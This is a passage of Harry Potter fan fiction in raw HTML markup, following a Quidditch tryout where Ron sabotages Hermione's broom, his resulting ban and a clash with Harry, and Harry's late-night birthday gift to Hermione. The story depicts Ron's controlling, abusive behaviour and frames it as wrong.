it was as red as his hair, which caused him laugh even\nmore.&nbsp; Someone tapped Harry on the\nshoulder and he turned to them, giving them his attention, through the corner\nof his eye he saw Ron sit down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey do you know Viktor Krum?&nbsp; You know the world famous Quidditch\nplayer.&#8221; Dean said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry laughed a bit, &#8220;Yeah I know\nwho he is, we were pretty good friends when he was in school.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was picking the blades of\ngrass as he eavesdropped on Harry&#8217;s conversation with the other\nGryffindors.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, he even taught me a few\nmoves.&#8221; Harry said not sounding arrogant, but just the thought of Harry even\nknowing Krum made Ron angry, he could feel the bitter sour feeling in his\nstomach, the twisting of his insides into knots.&nbsp; He was jealous.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The judges, along with Madame\nHooch came onto the field, the three judges sat down on a bench. They watched\nthe teacher go towards the students.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right students before we get\nstarted please put away your wands and deposit your school bags over next to\nthe benches there.&#8221;&nbsp; She waited patiently\nas each student hurried to take care of their things.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stood to put her bag\nwhere she was suppose to, Ron spoke up getting her attention.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, you forgot mine.&#8221; Ron\nsaid bitterly as he threw his red bag at her, she caught it but it was heavy\nand the weight of it caused her to fall back onto her backside.&nbsp; Ron opened his mouth to comment on her\nclumsiness and she had better not embarrass him, but he looked over at Harry\nwho had removed his sunglasses completely was looking at him with a raised\neyebrow.&nbsp; Ron sighed and looked back at\nHermione, &#8220;Just hurry up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took Ron&#8217;s bag along with\nhers over to where the other students had put there&#8217;s.&nbsp; She headed back over to where Ron was and sat\ndown.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Madame Hooch divided the students\nup into two groups; they would play against each other.&nbsp; She called each category and the students\nwent and stood in their groups </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron glared at Hermione as she had\nbeen separated from him, playing opposite of his tryout team.&nbsp; &nbsp;That\nmeant Harry was with her, he made sure his eyes bore down on her, just staring\nat her making her feel really low.&nbsp; Ron\nnoticed she kept her head lowered. He smirked the only thing Hermione was\nmissing to try out was a broomstick; there was no way they would let her play\nwithout one.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Out of almost nowhere Draco ran up\nto Hermione, trying his hardest to ignore Ron, he handed her a broomstick and\nwinked.&nbsp; Hermione accepted it without\nspeaking to him.&nbsp; She looked at the broom\nin her hand and noticed it was a Gold Streak Three Thousand Series A.&nbsp; The most expensive not to\nmention the best Chaser&#8217;s broom on the market.&nbsp; Hermione blinked a couple of times, she had\nmerely dreamed about touching one of these let alone getting to use one.&nbsp; She would remember to thank Draco later, if\nshe could find the courage to leave Ron&#8217;s side for a moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron felt himself shake with anger,\nhow dare that girl accept anything from another male.&nbsp; How dare that idiot Draco give her something\nand in front of him! That boy sure had some kind of death wish.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Calm\ndown&#8217;</i> a voice said in his head, and he did but only for a moment.&nbsp; She would regret that, later tonight, boy\nwould she regret it.&nbsp; Ron glanced over at\nHarry who appeared not to be paying attention; Ron&#8217;s eyes shrank to narrow\nslits <i style="mso-bidi-font-style:normal">&#8216;Damn him&#8217;</i> Ron cursed in his\nmind.&nbsp; He would have to think of another\nway to get at Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gregory the first judge walked\naround as he signaled for the players to begin, the students rose up in the air\nand immediately began to play.&nbsp; Harry and\nRon were sitting up away from the players, looking for the snitch.&nbsp; Ginny was doing a fair job of keeping the\nQuaffle out of the hoop, but Hermione being surprisingly a very good player\nmanaged to get one past her every time.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed Hermione was having\na good time playing, she even smiled a few times getting the Quaffle past Ginny\nwho was said to be a darn good Keeper since the days of Oliver Wood.&nbsp; <br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny had given Hermione a wink of\ncongratulations every time she scored a goal.&nbsp;\nShe sure had the talent to someday go professional, Ginny noted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron getting bored decided to fly\naround a bit looking for the snitch, he was passing in front of Ginny, who was\nirritated because she couldn&#8217;t protect her goal if she couldn&#8217;t see.&nbsp; &#8220;Ron, get out of the way. Move.&#8221;\nShe demanded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh please Ginny, your position\nisn&#8217;t as good as mine. If I find the snitch we win the game no matter how many\npoints the other one has!&#8221; Ron said with a snobby tone as he stopped in mid\nair.&nbsp; He didn&#8217;t see the Quaffle heading\nhis way as it hit him right smack in the back of his head.&nbsp; Ron shut his eyes tight as anger swelled\nthrough his every pore.&nbsp; He turned to\nfind Hermione hovering there with an &#8216;I&#8217;m&#8212;so&#8212;sorry&#8217; look.&nbsp; But she couldn&#8217;t stay around there and keep\napologizing she had to continue playing.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron angrier than Hades pulled his\nwand from up his sleeve and pointed it at her broom; he shouted a curse, which\ncaused Hermione&#8217;s broomstick to violently throw her off.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took off like a bullet\ntrying to reach her before she hit the ground.&nbsp;\nFrom that high up she could surely be\nkilled.&nbsp; He noticed Ron putting his wand\nback in his sleeve not even paying attention to what was happening to Hermione\nas the stupid red head continued looking for the Snitch.&nbsp; Harry shook his head and finally reached\nHermione, he positioned himself directly below her as she continued\nfalling.&nbsp; He steadied the broom with his\nlegs and caught her in mid air. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s arms and legs wrapped\naround Harry so tightly, Harry could hear her very hysterical crying as he\ntried his best to calm her down. &#8220;I&#8217;ve got you, its\nall right.&nbsp; Shhh,\nit&#8217;s all over you&#8217;re safe now.&#8221; He spoke very quietly in her ear.&nbsp;&nbsp; It was at that moment Ron glanced over to\nsee if Hermione had hit the grass yet.&nbsp;\nMuch to Ron&#8217;s annoyance Harry had Hermione completely wrapped around him\nas he was setting down to the ground.&nbsp; He\nstood up from the broomstick but she still wasn&#8217;t letting go.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat down on the grass near\nthe other observers.&nbsp; He heard Hermione\ntake short hysterical breaths.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8230;I thought I was going to die!&#8221;\nHer voice shook with fear as well as her body shaking with the emotion of it\nall.&nbsp; She couldn&#8217;t calm down even if she\nwanted to.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not going to let anything\nhappen to you.&#8221; Harry said as he hugged her to him really tight.&nbsp; He was going to kill that Ron Weasley if it&#8217;s\nthe last thing he&#8217;ll ever do.&nbsp; He saw\nexactly what happened.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll take care of her.&#8221; Padma\nsaid noticing that Harry obviously wanted to go beat the stuffing out of Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded.&nbsp; &#8220;Hermione, you&#8217;re on the ground, safe and\nsound.&#8221;&nbsp; He kissed the side of her head,\nwhich for some reason calmed her down a bit and she was able to take a long\nsoothing breath. After a few seconds of just sitting like this it was as if she\nrealized what she was doing and quickly jumped away from him. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m sorry.&#8221; She looked at the\nground. &#8220;You probably want to get back to the game.&#8221; She clearly avoided\nlooking him in the eye</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, it&#8217;s perfectly all right. I\ndidn&#8217;t mind.&#8221; Harry smiled.&nbsp; A smile that caused butterflies to drift about in her stomach.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione a light blush caressed\nher cheeks as she lowered her head.&nbsp; She\nnodded in understanding but didn&#8217;t look up at him.&nbsp; Instead she lay down on the grass and curled\nup into a little ball.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked up at Ron just\nlightly flying about, his eyes narrowed in extreme\nhate for the jerk and he hoped back onto his broomstick and lifted back into\nthe air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The Snitch zoomed past Ron&#8217;s head\nand he took off after it, he was going to get it since Harry Potter was\npractically miles away from it.&nbsp; He\nlaughed a little too quickly.&nbsp; As soon as\nthe final chuckle escaped Ron&#8217;s throat Harry was right on his tale, speeding up\nfast.&nbsp; There were flying parallel at top\nspeed, Harry took his weight and pushed himself forward, passing Ron up.&nbsp; He stretched out his hand to grab it; he\ncould feel the small gold ball in his hand as his fingers closed around the\nlittle Golden Snitch.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The sound of a whistle being blown\nfrom below signaled the end of the game.&nbsp;\nThe students landed and immediately took a seat on the grass.&nbsp; Ron walked over to Hermione and gave her a\nkick in the leg.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gregory approached the students\nwho had resumed their seats on the grass. &#8220;We will post the results Monday.&#8221; He\nsmiled and gave a slight nod of appreciation to students before walking back\nover to the other judges.&nbsp; The students\nwere then excused to head to class now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Get up.&#8221; Ron demanded his tone as\ncold as ice.&nbsp; Hermione took a breath and\nsat up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched as Ron grabbed Hermione&#8217;s\nhand and pulled her to her feet, they gathered their stuff and he pulled her\nalmost violently from the grassy field.&nbsp;\nHarry had a bad feeling.&nbsp; He stood\nand walked over to the bench and picked up his bag and swung it over his\nshoulder.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville and Draco walked over to\nHarry mumbling to themselves, as soon as Neville saw\nHarry he wanted to bash him over the head.&nbsp;\n&#8220;Why did you do that?&#8221; Neville was angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco shook his head, &#8220;Neville\ncalm down what Harry did was a good thing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well she&#8217;s still gonna get it you\nknow.&#8221; Neville&#8217;s eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look Neville.&#8221; Harry said.&nbsp; &#8220;I would have done that for anyone who was\nplummeting to their death, so it&#8217;s not like I paid her any special attention or\nanything.&#8221; He lied.&nbsp; Harry was looking\nout for her, to make sure Ron didn&#8217;t take his anger out on her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah well you didn&#8217;t have to hold\nher so tight.&#8221; Neville took a breath; he was really worried about Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She was in hysterics, what would\nyou have done?&#8221; Harry didn&#8217;t like this gang up on his person, he did the right\nthing.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I just worry if Ron sees it as\nyou only saving her life, or of you&#8217;re trying to put the moves on her.&#8221; Neville\npicked up his bag.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He was the one that made her\nfall, don&#8217;t tell me you didn&#8217;t see him pull out his wand from inside his robes\nand curse her?&#8221; Draco announced, &#8220;I saw that from the ground as I was watching\nyou people flying around.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville shook his head, &#8220;No I\nmissed that, I was trying to make sure those bludgers didn&#8217;t hit anyone.&#8221; He\nwas sarcastic. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well that&#8217;s what he did all\nright,&#8221; Harry smirked, even he was sarcastic.&nbsp;\n&#8220;I&#8217;m sure even the judges saw that as well, that would be another reason\nif he didn&#8217;t make the team.&#8221; Harry shook his head, &#8220;How can anyone be so stupid as curse a broom in mid air like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you are talking about Ron\nWeasley,&#8221; Draco said with a small laugh, &#8220;Sure he might be big and\nintimidating, but he&#8217;s not the smartest person to walk the planet.&#8221;&nbsp; With that being said the boys headed up to\ntheir classes, as the day continued.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Bright and early Monday morning,\nthe Quidditch results were posted near the Great Hall\nentrance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny yelped with pleasure as she\nran from the board.&nbsp; &#8220;I&#8217;m on the team,\nI&#8217;m on the team!&#8221; She squealed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gave a soft smile, one\nthat was hardly noticeable. &#8220;I&#8217;m really happy for you Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh don&#8217;t be so glum chum, you\nmade it too.&#8221; Ginny&#8217;s eyes sparkled with a glorious happiness.&nbsp; &#8220;Come see.&#8221; Ginny grabbed Hermione&#8217;s hand and\npushed her way through the crowd, pushing Hermione towards the roster and\npointed to her name.&nbsp; &#8220;See, see you made\nit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Even though I\nfeel off my broom with my clumsiness?&#8221; The news of Hermione making the\nteam made her heart flutter, she didn&#8217;t show it on the outside, but on the\ninside she was jumping for joy, doing flips in her mind. But she looked as calm\nas usual.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was standing behind her and\nhe spoke very quietly.&nbsp; &#8220;You didn&#8217;t fall\noff, you and I both know that.&#8221; His tone was soft and gentle, he saw Hermione\nnod once in the recognition of what he said.&nbsp;\nHermione moved away from him and the crowd.&nbsp; Harry watched her walking away and into the\nGreat Hall.&nbsp; Harry looked up at the\nroster and saw his name there, he smiled a bit.&nbsp;\n&#8220;Looks like I made it too. Wonderful.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah good job\nthere Harry.&#8221; Neville said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron was last to see the parchment;\nhe didn&#8217;t like what he saw not at all.&nbsp;\nIt read &#8216;Ronald Weasley banned from all Quidditch\ntryouts for use of magic wand during tryout to handicap another player.&#8217;&nbsp; He ripped the document from the board and\nstarted crunching it in his hand.&nbsp; This\nwas all that stupid Hermione&#8217;s fault, if she hadn&#8217;t have made him mad he\nwouldn&#8217;t have used the wand.&nbsp; It was her\nfault.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It is not her fault you jack\nass.&#8221;&nbsp; Harry spoke from directly behind\nhim.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron spun around glaring at Harry,\nhow did he know what he was thinking?&nbsp;&nbsp;\nOh never mind he was going to pound Harry&#8217;s face into the ground.&nbsp; &#8220;I&#8217;m gonna rip your fuckin&#8217;\nhead off.&#8221; Ron lunged for Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wasn&#8217;t going to use any\nmagic on this idiot; it would be a waste if he did. Instead he swiped his foot\nout, managing to hit Ron in the ankle with such a force that Ron hit the ground\nwith a hard thud.&nbsp; Harry placed a foot on\nRon&#8217;s chest keeping him on the floor using most of his weight.&nbsp; Harry looked down at him with pure disgust.\n&#8220;Don&#8217;t start something Weasley that you can&#8217;t finish.&nbsp; Look at this, you&#8217;re\nalready on your back I didn&#8217;t even do all that much to you.&#8221; Harry took a\nbreath, &#8220;You&#8217;re not going to do anything to me, and you&#8217;re definitely not going\nto do anything to Hermione.&nbsp; It was your\nown fault you were banned, not hers.&nbsp; Yours.&#8221; Harry pointed at him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is just a mere fraction of\nwhat I can do to you; I didn&#8217;t even use a spell or a curse or anything.&nbsp; So I would watch out if I were you.&#8221; Harry glared.&nbsp; He could see Ron was shaking with anger; his\nface again matched his hair.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Bastard.&#8221;\nRon spat hatefully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Say what you will about me, it\nmakes no difference.&#8221;&nbsp; Harry pressed his\nfoot down harder on his chest making Ron wince in agonizing pain.&nbsp; &#8220;But if I hear even one rude comment about\nHermione, I&#8217;ll break you into many little Weasley pieces.&#8221; He said with a\nsarcastic smile before his face showed a most serious _expression.&nbsp; Harry removed his foot from on top of Ron&#8217;s\nchest and started walking away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron sat up a moment; he wasn&#8217;t\nfoolish enough to chase after that psycho, not yet anyway.&nbsp; That Harry Potter was strong, he had to brush\nup a bit on some spells there was no way he was going to be able to beat him physically,\nhe would have to use magic.&nbsp; He continued\nto watch Harry walk away from him.&nbsp; Oh\nhow he hated him, and he would prove just how much.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at his watch; it\nwould only be September eighteenth for one more hour.&nbsp; It was almost time to go down and see Hermione.&nbsp; For the past week and a half at eleven O&#8217;clock sharp he would spend almost all\nnight talking with her, Ron would be sleeping under the influence of a sleeping\npotion. Harry got up from his bed and stood next to his little nightstand,\nthere was a small drawer, which he started to open.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;He was really looking forward to this\nevening&#8217;s talk with Hermione, at midnight\nhe would give her a birthday present.&nbsp;\nSomething he was sure she wasn&#8217;t expecting at all since she never told\nhim when her birthday was, he had to find that out on his own.&nbsp; What a surprise this was going to be, he\nlooked in the mirror and saw a really silly grin on his face.&nbsp; He laughed at himself and opened the drawer\nfurther and took out a little box wrapped in peach wrapping paper, which he\nknew to be her favorite color.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Looking over at Ron who was\nsleeping, snoring noisily Harry clutched the box tight in his hand; the other\nboys in the dorm were just about getting to sleep as well so he quietly headed\ndown the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Coming down the stairs Harry saw\nHermione, her back was to him and she appeared to be reading a book.&nbsp; He held the box behind his back as he came\naround the other side of the couch and sat down next to her. He saw her put a\nbookmark of a kitten on the page and close the book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry, I didn&#8217;t mean to disrupt\nyour studying.&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, it&#8217;s all right.&#8221; She sat the\nbook on the table, &#8220;I was just reading something for fun.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;You seemed extra\ndepressed today.&#8221; He searched her face; he already knew what she was going to\nsay.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well it was Wednesday; those days\naren&#8217;t really my happiest.&#8221; She took in a breath, &#8220;But what does it matter\nright,&#8221; She gave a soft, sad smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It does matter, it matters a\ngreat deal.&nbsp; Why do you let Weasley treat\nyou less than you deserve?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That is what I deserve.&nbsp; Ron and his parents make that very clear to\nme; they took me in when no one had to.&nbsp;&nbsp;\nThey take care of me and love me the best they can.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It sounds like you&#8217;re making\nexcuses for them, for the way they treat you.&#8221;&nbsp;\nHarry saw Hermione&#8217;s head snap up and look right at him with\nyou&#8212;don&#8217;t&#8212;know&#8212;anything look.&nbsp; But he\nknew that kind of a life all too well.&nbsp;\n&#8220;I do know what I&#8217;m talking about, I used to live pretty much under the\nsame conditions as you do now, but as soon as I went to Durmstrang it all\nchanged because I didn&#8217;t have to live like that anymore, I was finally able to\nbe free.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed and leaned back\ninto the couch cushions, &#8220;Can we talk about something else please?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure, whatever you want.&nbsp; Pick a topic.&#8221; He smiled also leaning into\nthe cushions.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right then, do you have a\nfavorite color?&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry laughed a little, she picked\na question that wouldn&#8217;t be stressful or painful to talk about, he could understand that kind of thinking.&nbsp; &#8220;Well I like blue.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;That&#8217;s a good\ncolor.&#8221; She glanced up at the clock on the mantel, five minutes to twelve it\nread.&nbsp; She would finally be seventeen,\nmost people didn&#8217;t know that she was older than most of her own sixth year\nstudents.&nbsp; Ron and Ginny seemed to be the\nonly ones who did; he even used her being older than him against her.&nbsp; Saying that no one would\nwant someone older and uglier, that she was very lucky that he stuck around.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What are you thinking about?&#8221;\nHarry asked disrupting her thoughts.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh nothing really,&#8221; She again\nlooked down at her fingers twisting them around.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry pulled the small gift from\nbehind his back; &#8220;I sort of have something for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione lifted her head seeing\nHarry&#8217;s hand outstretched and open; sitting directly on the palm of his hand\nsat a small gift in peach wrapping paper with a purple bow.&nbsp; &#8220;Th&#8212;that&#8217;s for\nme?&nbsp; Why?&#8221; Her eyes were wide with\nwonder, she clearly couldn&#8217;t believe it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s your birthday isn&#8217;t it?&#8221; He\nsaid with a half grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well yes it is, but how did you\nknow? I never said anything.&nbsp; Not very\nmany people know about my birth date, not even Neville.&#8221; She stared at the gift\nstill in Harry&#8217;s hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you gonna accept it or\nwhat?&nbsp; It&#8217;s just going to waste here in\nmy hand.&#8221; Harry watched Hermione lift her head, there were light tears in her\neyes but not of sadness, she was smiling.&nbsp;\nHarry couldn&#8217;t help but smile himself, that&#8217;s something he liked seeing\non her face, a bright and beautiful smile.&nbsp;\nHe noticed she still didn&#8217;t take the gift so he brought his other hand\nup and grabbed a gentle hold of hers, turning it palm side up.&nbsp; He placed the wrapped box in her hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She stared at the box.&nbsp; &#8220;It&#8217;s just no one has given my birthday a\nthought, ever. &nbsp;Well since my parents\ndied anyway.&nbsp; Ron says its not that\nimportant it&#8217;s just another day of the week.&#8221; Hermione wiped her eyes.&nbsp; She started opening the gift.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry figured something like that\nwould come out of Ron&#8217;s mouth, how dare her treat this sweet and innocent girl\nlike that.&nbsp; He wanted to break Ron in two\nfor the way he used her and pushed her around.&nbsp;\nNo one deserved that, and he would prove to Hermione that she was important.&nbsp; Harry looked on as Hermione opened the little\nsilver box and found a locket; she opened the little oval shape and found a\nsmall Muggle picture of her parents.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry, where did you get\nthis?&#8221;&nbsp; Hermione couldn&#8217;t help the tears\nnow; she lowered her head again so that Harry couldn&#8217;t see her face.&nbsp; </p>\n\n<p class="MsoNormal" 